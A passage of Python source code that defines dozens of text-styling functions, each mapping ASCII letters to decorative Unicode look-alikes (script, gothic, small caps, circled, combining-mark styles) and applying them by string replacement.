"𝐸", "F": "𝐹", "G": "𝐺", "H": "𝐻", "I": "𝐼", "J": "𝐽", "K": "𝐾", "L": "𝐿", "M": "𝑀", "N": "𝑁", "O": "𝑂", "P": "𝑃", "Q": "𝑄", "R": "𝑅", "S": "𝑆", "T": "𝑇", "U": "𝑈", "V": "𝑉", "W": "𝑊", "X": "𝑋", "Y": "𝑌", "Z": "𝑍", } for i, j in style.items(): text = text.replace(i, j) return text def smallcap(text): style = { "a": "ᴀ", "b": "ʙ", "c": "ᴄ", "d": "ᴅ", "e": "ᴇ", "f": "ғ", "g": "ɢ", "h": "ʜ", "i": "ɪ", "j": "J", "k": "ᴋ", "l": "ʟ", "m": "ᴍ", "n": "ɴ", "o": "ᴏ", "p": "ᴘ", "q": "ǫ", "r": "ʀ", "s": "s", "t": "ᴛ", "u": "ᴜ", "v": "ᴠ", "w": "ᴡ", "x": "x", "y": "ʏ", "z": "ᴢ", "A": "A", "B": "B", "C": "C", "D": "D", "E": "E", "F": "F", "G": "G", "H": "H", "I": "I", "J": "J", "K": "K", "L": "L", "M": "M", "N": "N", "O": "O", "P": "P", "Q": "Q", "R": "R", "S": "S", "T": "T", "U": "U", "V": "V", "W": "W", "X": "X", "Y": "Y", "Z": "Z", "0": "𝟶", "1": "𝟷", "2": "𝟸", "3": "𝟹", "4": "𝟺", "5": "𝟻", "6": "𝟼", "7": "𝟽", "8": "𝟾", "9": "𝟿", } for i, j in style.items(): text = text.replace(i, j) return text def script(text): style = { "a": "𝒶", "b": "𝒷", "c": "𝒸", "d": "𝒹", "e": "ℯ", "f": "𝒻", "g": "ℊ", "h": "𝒽", "i": "𝒾", "j": "𝒿", "k": "𝓀", "l": "𝓁", "m": "𝓂", "n": "𝓃", "o": "ℴ", "p": "𝓅", "q": "𝓆", "r": "𝓇", "s": "𝓈", "t": "𝓉", "u": "𝓊", "v": "𝓋", "w": "𝓌", "x": "𝓍", "y": "𝓎", "z": "𝓏", "A": "𝒜", "B": "ℬ", "C": "𝒞", "D": "𝒟", "E": "ℰ", "F": "ℱ", "G": "𝒢", "H": "ℋ", "I": "ℐ", "J": "𝒥", "K": "𝒦", "L": "ℒ", "M": "ℳ", "N": "𝒩", "O": "𝒪", "P": "𝒫", "Q": "𝒬", "R": "ℛ", "S": "𝒮", "T": "𝒯", "U": "𝒰", "V": "𝒱", "W": "𝒲", "X": "𝒳", "Y": "𝒴", "Z": "𝒵", } for i, j in style.items(): text = text.replace(i, j) return text def bold_script(text): style = { "a": "𝓪", "b": "𝓫", "c": "𝓬", "d": "𝓭", "e": "𝓮", "f": "𝓯", "g": "𝓰", "h": "𝓱", "i": "𝓲", "j": "𝓳", "k": "𝓴", "l": "𝓵", "m": "𝓶", "n": "𝓷", "o": "𝓸", "p": "𝓹", "q": "𝓺", "r": "𝓻", "s": "𝓼", "t": "𝓽", "u": "𝓾", "v": "𝓿", "w": "𝔀", "x": "𝔁", "y": "𝔂", "z": "𝔃", "A": "𝓐", "B": "𝓑", "C": "𝓒", "D": "𝓓", "E": "𝓔", "F": "𝓕", "G": "𝓖", "H": "𝓗", "I": "𝓘", "J": "𝓙", "K": "𝓚", "L": "𝓛", "M": "𝓜", "N": "𝓝", "O": "𝓞", "P": "𝓟", "Q": "𝓠", "R": "𝓡", "S": "𝓢", "T": "𝓣", "U": "𝓤", "V": "𝓥", "W": "𝓦", "X": "𝓧", "Y": "𝓨", "Z": "𝓩", } for i, j in style.items(): text = text.replace(i, j) return text def tiny(text): style = { "a": "ᵃ", "b": "ᵇ", "c": "ᶜ", "d": "ᵈ", "e": "ᵉ", "f": "ᶠ", "g": "ᵍ", "h": "ʰ", "i": "ⁱ", "j": "ʲ", "k": "ᵏ", "l": "ˡ", "m": "ᵐ", "n": "ⁿ", "o": "ᵒ", "p": "ᵖ", "q": "ᵠ", "r": "ʳ", "s": "ˢ", "t": "ᵗ", "u": "ᵘ", "v": "ᵛ", "w": "ʷ", "x": "ˣ", "y": "ʸ", "z": "ᶻ", "A": "ᵃ", "B": "ᵇ", "C": "ᶜ", "D": "ᵈ", "E": "ᵉ", "F": "ᶠ", "G": "ᵍ", "H": "ʰ", "I": "ⁱ", "J": "ʲ", "K": "ᵏ", "L": "ˡ", "M": "ᵐ", "N": "ⁿ", "O": "ᵒ", "P": "ᵖ", "Q": "ᵠ", "R": "ʳ", "S": "ˢ", "T": "ᵗ", "U": "ᵘ", "V": "ᵛ", "W": "ʷ", "X": "ˣ", "Y": "ʸ", "Z": "ᶻ", } for i, j in style.items(): text = text.replace(i, j) return text def comic(text): style = { "a": "ᗩ", "b": "ᗷ", "c": "ᑕ", "d": "ᗪ", "e": "ᗴ", "f": "ᖴ", "g": "ᘜ", "h": "ᕼ", "i": "I", "j": "ᒍ", "k": "K", "l": "ᒪ", "m": "ᗰ", "n": "ᑎ", "o": "O", "p": "ᑭ", "q": "ᑫ", "r": "ᖇ", "s": "Տ", "t": "T", "u": "ᑌ", "v": "ᐯ", "w": "ᗯ", "x": "᙭", "y": "Y", "z": "ᘔ", "A": "ᗩ", "B": "ᗷ", "C": "ᑕ", "D": "ᗪ", "E": "ᗴ", "F": "ᖴ", "G": "ᘜ", "H": "ᕼ", "I": "I", "J": "ᒍ", "K": "K", "L": "ᒪ", "M": "ᗰ", "N": "ᑎ", "O": "O", "P": "ᑭ", "Q": "ᑫ", "R": "ᖇ", "S": "Տ", "T": "T", "U": "ᑌ", "V": "ᐯ", "W": "ᗯ", "X": "᙭", "Y": "Y", "Z": "ᘔ", } for i, j in style.items(): text = text.replace(i, j) return text def san(text): style = { "a": "𝗮", "b": "𝗯", "c": "𝗰", "d": "𝗱", "e": "𝗲", "f": "𝗳", "g": "𝗴", "h": "𝗵", "i": "𝗶", "j": "𝗷", "k": "𝗸", "l": "𝗹", "m": "𝗺", "n": "𝗻", "o": "𝗼", "p": "𝗽", "q": "𝗾", "r": "𝗿", "s": "𝘀", "t": "𝘁", "u": "𝘂", "v": "𝘃", "w": "𝘄", "x": "𝘅", "y": "𝘆", "z": "𝘇", "A": "𝗔", "B": "𝗕", "C": "𝗖", "D": "𝗗", "E": "𝗘", "F": "𝗙", "G": "𝗚", "H": "𝗛", "I": "𝗜", "J": "𝗝", "K": "𝗞", "L": "𝗟", "M": "𝗠", "N": "𝗡", "O": "𝗢", "P": "𝗣", "Q": "𝗤", "R": "𝗥", "S": "𝗦", "T": "𝗧", "U": "𝗨", "V": "𝗩", "W": "𝗪", "X": "𝗫", "Y": "𝗬", "Z": "𝗭", "0": "𝟬", "1": "𝟭", "2": "𝟮", "3": "𝟯", "4": "𝟰", "5": "𝟱", "6": "𝟲", "7": "𝟳", "8": "𝟴", "9": "𝟵", } for i, j in style.items(): text = text.replace(i, j) return text def slant_san(text): style = { "a": "𝙖", "b": "𝙗", "c": "𝙘", "d": "𝙙", "e": "𝙚", "f": "𝙛", "g": "𝙜", "h": "𝙝", "i": "𝙞", "j": "𝙟", "k": "𝙠", "l": "𝙡", "m": "𝙢", "n": "𝙣", "o": "𝙤", "p": "𝙥", "q": "𝙦", "r": "𝙧", "s": "𝙨", "t": "𝙩", "u": "𝙪", "v": "𝙫", "w": "𝙬", "x": "𝙭", "y": "𝙮", "z": "𝙯", "A": "𝘼", "B": "𝘽", "C": "𝘾", "D": "𝘿", "E": "𝙀", "F": "𝙁", "G": "𝙂", "H": "𝙃", "I": "𝙄", "J": "𝙅", "K": "𝙆", "L": "𝙇", "M": "𝙈", "N": "𝙉", "O": "𝙊", "P": "𝙋", "Q": "𝙌", "R": "𝙍", "S": "𝙎", "T": "𝙏", "U": "𝙐", "V": "𝙑", "W": "𝙒", "X": "𝙓", "Y": "𝙔", "Z": "𝙕", } for i, j in style.items(): text = text.replace(i, j) return text def slant(text): style = { "a": "𝘢", "b": "𝘣", "c": "𝘤", "d": "𝘥", "e": "𝘦", "f": "𝘧", "g": "𝘨", "h": "𝘩", "i": "𝘪", "j": "𝘫", "k": "𝘬", "l": "𝘭", "m": "𝘮", "n": "𝘯", "o": "𝘰", "p": "𝘱", "q": "𝘲", "r": "𝘳", "s": "𝘴", "t": "𝘵", "u": "𝘶", "v": "𝘷", "w": "𝘸", "x": "𝘹", "y": "𝘺", "z": "𝘻", "A": "𝘈", "B": "𝘉", "C": "𝘊", "D": "𝘋", "E": "𝘌", "F": "𝘍", "G": "𝘎", "H": "𝘏", "I": "𝘐", "J": "𝘑", "K": "𝘒", "L": "𝘓", "M": "𝘔", "N": "𝘕", "O": "𝘖", "P": "𝘗", "Q": "𝘘", "R": "𝘙", "S": "𝘚", "T": "𝘛", "U": "𝘜", "V": "𝘝", "W": "𝘞", "X": "𝘟", "Y": "𝘠", "Z": "𝘡", } for i, j in style.items(): text = text.replace(i, j) return text def sim(text): style = { "a": "𝖺", "b": "𝖻", "c": "𝖼", "d": "𝖽", "e": "𝖾", "f": "𝖿", "g": "𝗀", "h": "𝗁", "i": "𝗂", "j": "𝗃", "k": "𝗄", "l": "𝗅", "m": "𝗆", "n": "𝗇", "o": "𝗈", "p": "𝗉", "q": "𝗊", "r": "𝗋", "s": "𝗌", "t": "𝗍", "u": "𝗎", "v": "𝗏", "w": "𝗐", "x": "𝗑", "y": "𝗒", "z": "𝗓", "A": "𝖠", "B": "𝖡", "C": "𝖢", "D": "𝖣", "E": "𝖤", "F": "𝖥", "G": "𝖦", "H": "𝖧", "I": "𝖨", "J": "𝖩", "K": "𝖪", "L": "𝖫", "M": "𝖬", "N": "𝖭", "O": "𝖮", "P": "𝖯", "Q": "𝖰", "R": "𝖱", "S": "𝖲", "T": "𝖳", "U": "𝖴", "V": "𝖵", "W": "𝖶", "X": "𝖷", "Y": "𝖸", "Z": "𝖹", } for i, j in style.items(): text = text.replace(i, j) return text def circles(text): style = { "a": "Ⓐ︎", "b": "Ⓑ︎", "c": "Ⓒ︎", "d": "Ⓓ︎", "e": "Ⓔ︎", "f": "Ⓕ︎", "g": "Ⓖ︎", "h": "Ⓗ︎", "i": "Ⓘ︎", "j": "Ⓙ︎", "k": "Ⓚ︎", "l": "Ⓛ︎", "m": "Ⓜ︎", "n": "Ⓝ︎", "o": "Ⓞ︎", "p": "Ⓟ︎", "q": "Ⓠ︎", "r": "Ⓡ︎", "s": "Ⓢ︎", "t": "Ⓣ︎", "u": "Ⓤ︎", "v": "Ⓥ︎", "w": "Ⓦ︎", "x": "Ⓧ︎", "y": "Ⓨ︎", "z": "Ⓩ︎", "A": "Ⓐ︎", "B": "Ⓑ︎", "C": "Ⓒ︎", "D": "Ⓓ︎", "E": "Ⓔ︎", "F": "Ⓕ︎", "G": "Ⓖ︎", "H": "Ⓗ︎", "I": "Ⓘ︎", "J": "Ⓙ︎", "K": "Ⓚ︎", "L": "Ⓛ︎", "M": "Ⓜ︎", "N": "Ⓝ︎", "O": "Ⓞ︎", "P": "Ⓟ︎", "Q": "Ⓠ︎", "R": "Ⓡ︎", "S": "Ⓢ︎", "T": "Ⓣ︎", "U": "Ⓤ︎", "V": "Ⓥ︎", "W": "Ⓦ︎", "X": "Ⓧ︎", "Y": "Ⓨ︎", "Z": "Ⓩ︎", "0": "⓪", "1": "①", "2": "②", "3": "③", "4": "④", "5": "⑤", "6": "⑥", "7": "⑦", "8": "⑧", "9": "⑨", } for i, j in style.items(): text = text.replace(i, j) return text def dark_circle(text): style = { "a": "🅐︎", "b": "🅑︎", "c": "🅒︎", "d": "🅓︎", "e": "🅔︎", "f": "🅕︎", "g": "🅖︎", "h": "🅗︎", "i": "🅘︎", "j": "🅙︎", "k": "🅚︎", "l": "🅛︎", "m": "🅜︎", "n": "🅝︎", "o": "🅞︎", "p": "🅟︎", "q": "🅠︎", "r": "🅡︎", "s": "🅢︎", "t": "🅣︎", "u": "🅤︎", "v": "🅥︎", "w": "🅦︎", "x": "🅧︎", "y": "🅨︎", "z": "🅩︎", "A": "🅐︎", "B": "🅑︎", "C": "🅒︎", "D": "🅓︎", "E": "🅔︎", "F": "🅕︎", "G": "🅖︎", "H": "🅗︎", "I": "🅘︎", "J": "🅙︎", "K": "🅚︎", "L": "🅛︎", "M": "🅜︎", "N": "🅝︎", "O": "🅞︎", "P": "🅟︎", "Q": "🅠︎", "R": "🅡︎", "S": "🅢︎", "T": "🅣︎", "U": "🅤︎", "V": "🅥︎", "W": "🅦︎", "X": "🅧︎", "Y": "🅨︎", "Z": "🅩", "0": "⓿", "1": "➊", "2": "➋", "3": "➌", "4": "➍", "5": "➎", "6": "➏", "7": "➐", "8": "➑", "9": "➒", } for i, j in style.items(): text = text.replace(i, j) return text def gothic(text): style = { "a": "𝔞", "b": "𝔟", "c": "𝔠", "d": "𝔡", "e": "𝔢", "f": "𝔣", "g": "𝔤", "h": "𝔥", "i": "𝔦", "j": "𝔧", "k": "𝔨", "l": "𝔩", "m": "𝔪", "n": "𝔫", "o": "𝔬", "p": "𝔭", "q": "𝔮", "r": "𝔯", "s": "𝔰", "t": "𝔱", "u": "𝔲", "v": "𝔳", "w": "𝔴", "x": "𝔵", "y": "𝔶", "z": "𝔷", "A": "𝔄", "B": "𝔅", "C": "ℭ", "D": "𝔇", "E": "𝔈", "F": "𝔉", "G": "𝔊", "H": "ℌ", "I": "ℑ", "J": "𝔍", "K": "𝔎", "L": "𝔏", "M": "𝔐", "N": "𝔑", "O": "𝔒", "P": "𝔓", "Q": "𝔔", "R": "ℜ", "S": "𝔖", "T": "𝔗", "U": "𝔘", "V": "𝔙", "W": "𝔚", "X": "𝔛", "Y": "𝔜", "Z": "ℨ", } for i, j in style.items(): text = text.replace(i, j) return text def bold_gothic(text): style = { "a": "𝖆", "b": "𝖇", "c": "𝖈", "d": "𝖉", "e": "𝖊", "f": "𝖋", "g": "𝖌", "h": "𝖍", "i": "𝖎", "j": "𝖏", "k": "𝖐", "l": "𝖑", "m": "𝖒", "n": "𝖓", "o": "𝖔", "p": "𝖕", "q": "𝖖", "r": "𝖗", "s": "𝖘", "t": "𝖙", "u": "𝖚", "v": "𝖛", "w": "𝖜", "x": "𝖝", "y": "𝖞", "z": "𝖟", "A": "𝕬", "B": "𝕭", "C": "𝕮", "D": "𝕺", "E": "𝕰", "F": "𝕱", "G": "𝕲", "H": "𝕳", "I": "𝕴", "J": "𝕵", "K": "𝕶", "L": "𝕷", "M": "𝕸", "N": "𝕹", "O": "𝕺", "P": "𝕻", "Q": "𝕼", "R": "𝕽", "S": "𝕾", "T": "𝕿", "U": "𝖀", "V": "𝖁", "W": "𝖂", "X": "𝖃", "Y": "𝖄", "Z": "𝖅", } for i, j in style.items(): text = text.replace(i, j) return text def cloud(text): style = { "a": "a͜͡", "b": "b͜͡", "c": "c͜͡", "d": "d͜͡", "e": "e͜͡", "f": "f͜͡", "g": "g͜͡", "h": "h͜͡", "i": "i͜͡", "j": "j͜͡", "k": "k͜͡", "l": "l͜͡", "m": "m͜͡", "n": "n͜͡", "o": "o͜͡", "p": "p͜͡", "q": "q͜͡", "r": "r͜͡", "s": "s͜͡", "t": "t͜͡", "u": "u͜͡", "v": "v͜͡", "w": "w͜͡", "x": "x͜͡", "y": "y͜͡", "z": "z͜͡", "A": "A͜͡", "B": "B͜͡", "C": "C͜͡", "D": "D͜͡", "E": "E͜͡", "F": "F͜͡", "G": "G͜͡", "H": "H͜͡", "I": "I͜͡", "J": "J͜͡", "K": "K͜͡", "L": "L͜͡", "M": "M͜͡", "N": "N͜͡", "O": "O͜͡", "P": "P͜͡", "Q": "Q͜͡", "R": "R͜͡", "S": "S͜͡", "T": "T͜͡", "U": "U͜͡", "V": "V͜͡", "W": "W͜͡", "X": "X͜͡", "Y": "Y͜͡", "Z": "Z͜͡", } for i, j in style.items(): text = text.replace(i, j) return text def happy(text): style = { "a": "ă̈", "b": "b̆̈", "c": "c̆̈", "d": "d̆̈", "e": "ĕ̈", "f": "f̆̈", "g": "ğ̈", "h": "h̆̈", "i": "ĭ̈", "j": "j̆̈", "k": "k̆̈", "l": "l̆̈", "m": "m̆̈", "n": "n̆̈", "o": "ŏ̈", "p": "p̆̈", "q": "q̆̈", "r": "r̆̈", "s": "s̆̈", "t": "t̆̈", "u": "ŭ̈", "v": "v̆̈", "w": "w̆̈", "x": "x̆̈", "y": "y̆̈", "z": "z̆̈", "A": "Ă̈", "B": "B̆̈", "C": "C̆̈", "D": "D̆̈", "E": "Ĕ̈", "F": "F̆̈", "G": "Ğ̈", "H": "H̆̈", "I": "Ĭ̈", "J": "J̆̈", "K": "K̆̈", "L": "L̆̈", "M": "M̆̈", "N": "N̆̈", "O": "Ŏ̈", "P": "P̆̈", "Q": "Q̆̈", "R": "R̆̈", "S": "S̆̈", "T": "T̆̈", "U": "Ŭ̈", "V": "V̆̈", "W": "W̆̈", "X": "X̆̈", "Y": "Y̆̈", "Z": "Z̆̈", } for i, j in style.items(): text = text.replace(i, j) return text def sad(text): style = { "a": "ȃ̈", "b": "b̑̈", "c": "c̑̈", "d": "d̑̈", "e": "ȇ̈", "f": "f̑̈", "g": "g̑̈", "h": "h̑̈", "i": "ȋ̈", "j": "j̑̈", "k": "k̑̈", "l": "l̑̈", "m": "m̑̈", "n": "n̑̈", "o": "ȏ̈", "p": "p̑̈", "q": "q̑̈", "r": "ȓ̈", "s": "s̑̈", "t": "t̑̈", "u": "ȗ̈", "v": "v̑̈", "w": "w̑̈", "x": "x̑̈", "y": "y̑̈", "z": "z̑̈", "A": "Ȃ̈", "B": "B̑̈", "C": "C̑̈", "D": "D̑̈", "E": "Ȇ̈", "F": "F̑̈", "G": "G̑̈", "H": "H̑̈", "I": "Ȋ̈", "J": "J̑̈", "K": "K̑̈", "L": "L̑̈", "M": "M̑̈", "N": "N̑̈", "O": "Ȏ̈", "P": "P̑̈", "Q": "Q̑̈", "R": "Ȓ̈", "S": "S̑̈", "T": "T̑̈", "U": "Ȗ̈", "V": "V̑̈", "W": "W̑̈", "X": "X̑̈", "Y": "Y̑̈", "Z": "Z̑̈", } for i, j in style.items(): text = text.replace(i, j) return text def special(text): style = { "a": "🇦 ", "b": "🇧 ", "c": "🇨 ", "d": "🇩 ", "e": "🇪 ", "f": "🇫 ", "g": "🇬 ", "h": "🇭 ", "i": "🇮 ", "j": "🇯 ", "k": "🇰 ", "l": "🇱 ", "m": "🇲 ", "n": "🇳 ", "o": "🇴 ", "p": "🇵 ", "q": "🇶 ", "r": "🇷 ", "s": "🇸 ", "t": "🇹 ", "u": "🇺 ", "v": "🇻 ", "w": "🇼 ", "x": "🇽 ", "y": "🇾 ", "z": "🇿 ", "A": "🇦 ", "B": "🇧 ", "C": "🇨 ", "D": "🇩 ", "E": "🇪 ", "F": "🇫 ", "G": "🇬 ", "H": "🇭 ", "I": "🇮 ", "J": "🇯 ", "K": "🇰 ", "L": "🇱 ", "M": "🇲 ", "N": "🇳 ", "O": "🇴 ", "P": "🇵 ", "Q": "🇶 ", "R": "🇷 ", "S": "🇸 ", "T": "🇹 ", "U": "🇺 ", "V": "🇻 ", "W": "🇼 ", "X": "🇽 ", "Y": "🇾 ", "Z": "🇿 ", } for i, j in style.items(): text = text.replace(i, j) return text def square(text): style = { "a": "🄰", "b": "🄱", "c": "🄲", "d": "🄳", "e": "🄴", "f": "🄵", "g": "🄶", "h": "🄷", "i": "🄸", "j": "🄹", "k": "🄺", "l": "🄻", "m": "🄼", "n": "🄽", "o": "🄾", "p": "🄿", "q": "🅀", "r": "🅁", "s": "🅂", "t": "🅃", "u": "🅄", "v": "🅅", "w": "🅆", "x": "🅇", "y": "🅈", "z": "🅉", "A": "🄰", "B": "🄱", "C": "🄲", "D": "🄳", "E": "🄴", "F": "🄵", "G": "🄶", "H": "🄷", "I": "🄸", "J": "🄹", "K": "🄺", "L": "🄻", "M": "🄼", "N": "🄽", "O": "🄾", "P": "🄿", "Q": "🅀", "R": "🅁", "S": "🅂", "T": "🅃", "U": "🅄", "V": "🅅", "W": "🅆", "X": "🅇", "Y": "🅈", "Z": "🅉", } for i, j in style.items(): text = text.replace(i, j) return text def dark_square(text): style = { "a": "🅰︎", "b": "🅱︎", "c": "🅲︎", "d": "🅳︎", "e": "🅴︎", "f": "🅵︎", "g": "🅶︎", "h": "🅷︎", "i": "🅸︎", "j": "🅹︎", "k": "🅺︎", "l": "🅻︎", "m": "🅼︎", "n": "🅽︎", "o": "🅾︎", "p": "🅿︎", "q": "🆀︎", "r": "🆁︎", "s": "🆂︎", "t": "🆃︎", "u": "🆄︎", "v": "🆅︎", "w": "🆆︎", "x": "🆇︎", "y": "🆈︎", "z": "🆉︎", "A": "🅰︎", "B": "🅱︎", "C": "🅲︎", "D": "🅳︎", "E": "🅴︎", "F": "🅵︎", "G": "🅶︎", "H": "🅷︎", "I": "🅸︎", "J": "🅹︎", "K": "🅺︎", "L": "🅻︎", "M": "🅼︎", "N": "🅽︎", "O": "🅾︎", "P": "🅿︎", "Q": "🆀︎", "R": "🆁︎", "S": "🆂︎", "T": "🆃︎", "U": "🆄︎", "V": "🆅︎", "W": "🆆︎", "X": "🆇︎", "Y": "🆈︎", "Z": "🆉︎", } for i, j in style.items(): text = text.replace(i, j) return text def andalucia(text): style = { "a": "ꪖ", "b": "᥇", "c": "ᥴ", "d": "ᦔ", "e": "ꫀ", "f": "ᠻ", "g": "ᧁ", "h": "ꫝ", "i": "𝓲", "j": "𝓳", "k": "𝘬", "l": "ꪶ", "m": "ꪑ", "n": "ꪀ", "o": "ꪮ", "p": "ρ", "q": "𝘲", "r": "𝘳", "s": "𝘴", "t": "𝓽", "u": "ꪊ", "v": "ꪜ", "w": "᭙", "x": "᥊", "y": "ꪗ", "z": "ɀ", "A": "ꪖ", "B": "᥇", "C": "ᥴ", "D": "ᦔ", "E": "ꫀ", "F": "ᠻ", "G": "ᧁ", "H": "ꫝ", "I": "𝓲", "J": "𝓳", "K": "𝘬", "L": "ꪶ", "M": "ꪑ", "N": "ꪀ", "O": "ꪮ", "P": "ρ", "Q": "𝘲", "R": "𝘳", "S": "𝘴", "T": "𝓽", "U": "ꪊ", "V": "ꪜ", "W": "᭙", "X": "᥊", "Y": "ꪗ", "Z": "ɀ", } for i, j in style.items(): text = text.replace(i, j) return text def manga(text): style = { "a": "卂", "b": "乃", "c": "匚", "d": "ᗪ", "e": "乇", "f": "千", "g": "ᘜ", "h": "卄", "i": "|", "j": "フ", "k": "Ҝ", "l": "ㄥ", "m": "爪", "n": "几", "o": "ㄖ", "p": "卩", "q": "Ҩ", "r": "尺", "s": "丂", "t": "ㄒ", "u": "ㄩ", "v": "ᐯ", "w": "山", "x": "乂", "y": "ㄚ", "z": "乙", "A": "卂", "B": "乃", "C": "匚", "D": "ᗪ", "E": "乇", "F": "千", "G": "ᘜ", "H": "卄", "I": "|", "J": "フ", "K": "Ҝ", "L": "ㄥ", "M": "爪", "N": "几", "O": "ㄖ", "P": "卩", "Q": "Ҩ", "R": "尺", "S": "丂", "T": "ㄒ", "U": "ㄩ", "V": "ᐯ", "W": "山", "X": "乂", "Y": "ㄚ", "Z": "乙", } for i, j in style.items(): text = text.replace(i, j) return text def stinky(text): style = { "a": "a̾", "b": "b̾", "c": "c̾", "d": "d̾", "e": "e̾", "f": "f̾", "g": "g̾", "h": "h̾", "i": "i̾", "j": "j̾", "k": "k̾", "l": "l̾", "m": "m̾", "n": "n̾", "o": "o̾", "p": "p̾", "q": "q̾", "r": "r̾", "s": "s̾", "t": "t̾", "u": "u̾", "v": "v̾", "w": "w̾", "x": "x̾", "y": "y̾", "z": "z̾", "A": "A̾", "B": "B̾", "C": "C̾", "D": "D̾", "E": "E̾", "F": "F̾", "G": "G̾", "H": "H̾", "I": "I̾", "J": "J̾", "K": "K̾", "L": "L̾", "M": "M̾", "N": "N̾", "O": "O̾", "P": "P̾", "Q": "Q̾", "R": "R̾", "S": "S̾", "T": "T̾", "U": "U̾", "V": "V̾", "W": "W̾", "X": "X̾", "Y": "Y̾", "Z": "Z̾", } for i, j in style.items(): text = text.replace(i, j) return text def bubbles(text): style = { "a": "ḁͦ", "b": "b̥ͦ", "c": "c̥ͦ", "d": "d̥ͦ", "e": "e̥ͦ", "f": "f̥ͦ", "g": "g̥ͦ", "h": "h̥ͦ", "i": "i̥ͦ", "j": "j̥ͦ", "k": "k̥ͦ", "l": "l̥ͦ", "m": "m̥ͦ", "n": "n̥ͦ", "o": "o̥ͦ", "p": "p̥ͦ", "q": "q̥ͦ", "r": "r̥ͦ", "s": "s̥ͦ", "t": "t̥ͦ", "u": "u̥ͦ", "v": "v̥ͦ", "w": "w̥ͦ", "x": "x̥ͦ", "y": "y̥ͦ", "z": "z̥ͦ", "A": "Ḁͦ", "B": "B̥ͦ", "C": "C̥ͦ", "D": "D̥ͦ", "E": "E̥ͦ", "F": "F̥ͦ", "G": "G̥ͦ", "H": "H̥ͦ", "I": "I̥ͦ", "J": "J̥ͦ", "K": "K̥ͦ", "L": "L̥ͦ", "M": "M̥ͦ", "N": "N̥ͦ", "O": "O̥ͦ", "P": "P̥ͦ", "Q": "Q̥ͦ", "R": "R̥ͦ", "S": "S̥ͦ", "T": "T̥ͦ", "U": "U̥ͦ", "V": "V̥ͦ", "W": "W̥ͦ", "X": "X̥ͦ", "Y": "Y̥ͦ", "Z": "Z̥ͦ", } for i, j in style.items(): text = text.replace(i, j) return text def underline(text): style = { "a": "a͟", "b": "b͟", "c": "c͟", "d": "d͟", "e": "e͟", "f": "f͟", "g": "g͟", "h": "h͟", "i": "i͟", "j": "j͟", "k": "k͟", "l": "l͟", "m": "m͟", "n": "n͟", "o": "o͟", "p": "p͟", "q": "q͟", "r": "r͟", "s": "s͟", "t": "t͟", "u": "u͟", "v": "v͟", "w": "w͟", "x": "x͟", "y": "y͟", "z": "z͟", "A": "A͟", "B": "B͟", "C": "C͟", "D": "D͟", "E": "E͟", "F": "F͟", "G": "G͟", "H": "H͟", "I": "I͟", "J": "J͟", "K": "K͟", "L": "L͟", "M": "M͟", "N": "N͟", "O": "O͟", "P": "P͟", "Q": "Q͟", "R": "R͟", "S": "S͟", "T": "T͟", "U": "U͟", "V": "V͟", "W": "W͟", "X": "X͟", "Y": "Y͟", "Z": "Z͟", } for i, j in style.items(): text = text.replace(i, j) return text def ladybug(text): style = { "a": "ꍏ", "b": "ꌃ", "c": "ꏳ", "d": "ꀷ", "e": "ꏂ", "f": "ꎇ", "g": "ꁅ", "h": "ꀍ", "i": "ꀤ", "j": "꒻", "k": "ꀘ", "l": "꒒", "m": "ꎭ", "n": "ꈤ", "o": "ꂦ", "p": "ᖘ", "q": "ꆰ", "r": "ꋪ", "s": "ꌚ", "t": "꓄", "u": "ꀎ", "v": "꒦", "w": "ꅐ", "x": "ꉧ", "y": "ꌩ", "z": "ꁴ", "A": "ꍏ", "B": "ꌃ", "C": "ꏳ", "D": "ꀷ", "E": "ꏂ", "F": "ꎇ", "G": "ꁅ", "H": "ꀍ", "I": "ꀤ", "J": "꒻", "K": "ꀘ", "L": "꒒", "M": "ꎭ", "N": "ꈤ", "O": "ꂦ", "P": "ᖘ", "Q": "ꆰ", "R": "ꋪ", "S": "ꌚ", "T": "꓄", "U": "ꀎ", "V": "꒦", "W": "ꅐ", "X": "ꉧ", "Y": "ꌩ", "Z": "ꁴ", } for i, j in style.items(): text = text.replace(i, j) return text def rays(text): style = { "a": "a҉", "b": "b҉", "c": "c҉", "d": "d҉", "e": "e҉", "f": "f҉", "g": "g҉", "h": "h҉", "i": "i҉", "j": "j҉", "k": "k҉", "l": "l҉", "m": "m҉", "n": "n҉", "o": "o҉", "p": "p҉", "q": "q҉", "r": "r҉", "s": "s҉", "t": "t҉", "u": "u҉", "v": "v҉", "w": "w҉", "x": "x҉", "y": "y҉", "z": "z҉", "A": "A҉", "B": "B҉", "C": "C҉", "D": "D҉", "E": "E҉", "F": "F҉", "G": "G҉", "H": "H҉", "I": "I҉", "J": "J҉", "K": "K҉", "L": "L҉", "M": "M҉", "N": "N҉", "O": "O҉", "P": "P҉", "Q": "Q҉", "R": "R҉", "S": "S҉", "T": "T҉", "U": "U҉", "V": "V҉", "W": "W҉", "X": "X҉", "Y": "Y҉", "Z": "Z҉", } for i, j in style.items(): text = text.replace(i, j) return text def birds(text): style = { "a": "a҈", "b": "b҈", "c": "c҈", "d": "d҈", "e": "e҈", "f": "f҈", "g": "g҈", "h": "h҈", "i": "i҈", "j": "j҈", "k": "k҈", "l": "l҈", "m": "m҈", "n": "n҈", "o": "o҈", "p": "p҈", "q": "q҈", "r": "r҈", "s": "s҈", "t": "t҈", "u": "u҈", "v": "v҈", "w": "w҈", "x": "x҈", "y": "y҈", "z": "z҈", "A": "A҈", "B": "B҈", "C": "C҈", "D": "D҈", "E": "E҈", "F": "F҈", "G": "G҈", "H": "H҈", "I": "I҈", "J": "J҈", "K": "K҈", "L": "L҈", "M": "M҈", "N": "N҈", "O": "O҈", "P": "P҈", "Q": "Q҈", "R": "R҈", "S": "S҈", "T": "T҈", "U": "U҈", "V": "V҈", "W": "W҈", "X": "X҈", "Y": "Y҈", "Z": "Z҈", } for i, j in style.items(): text = text.replace(i, j) return text def slash(text): style = { "a": "a̸", "b": "b̸", "c": "c̸", "d": "d̸", "e": "e̸", "f": "f̸", "g": "g̸", "h": "h̸", "i": "i̸", "j": "j̸", "k": "k̸", "l": "l̸", "m": "m̸", "n": "n̸", "o": "o̸", "p": "p̸", "q": "q̸", "r": "r̸", "s": "s̸", "t": "t̸", "u": "u̸", "v": "v̸", "w": "w̸", "x": "x̸", "y": "y̸", "z": "z̸", "A": "A̸", "B": "B̸", "C": "C̸", "D": "D̸", "E": "E̸", "F": "F̸", "G": "G̸", "H": "H̸", "I": "I̸", "J": "J̸", "K": "K̸", "L": "L̸", "M": "M̸", "N": "N̸", "O": "O̸", "P": "P̸", "Q": "Q̸", "R": "R̸", "S": "S̸", "T": "T̸", "U": 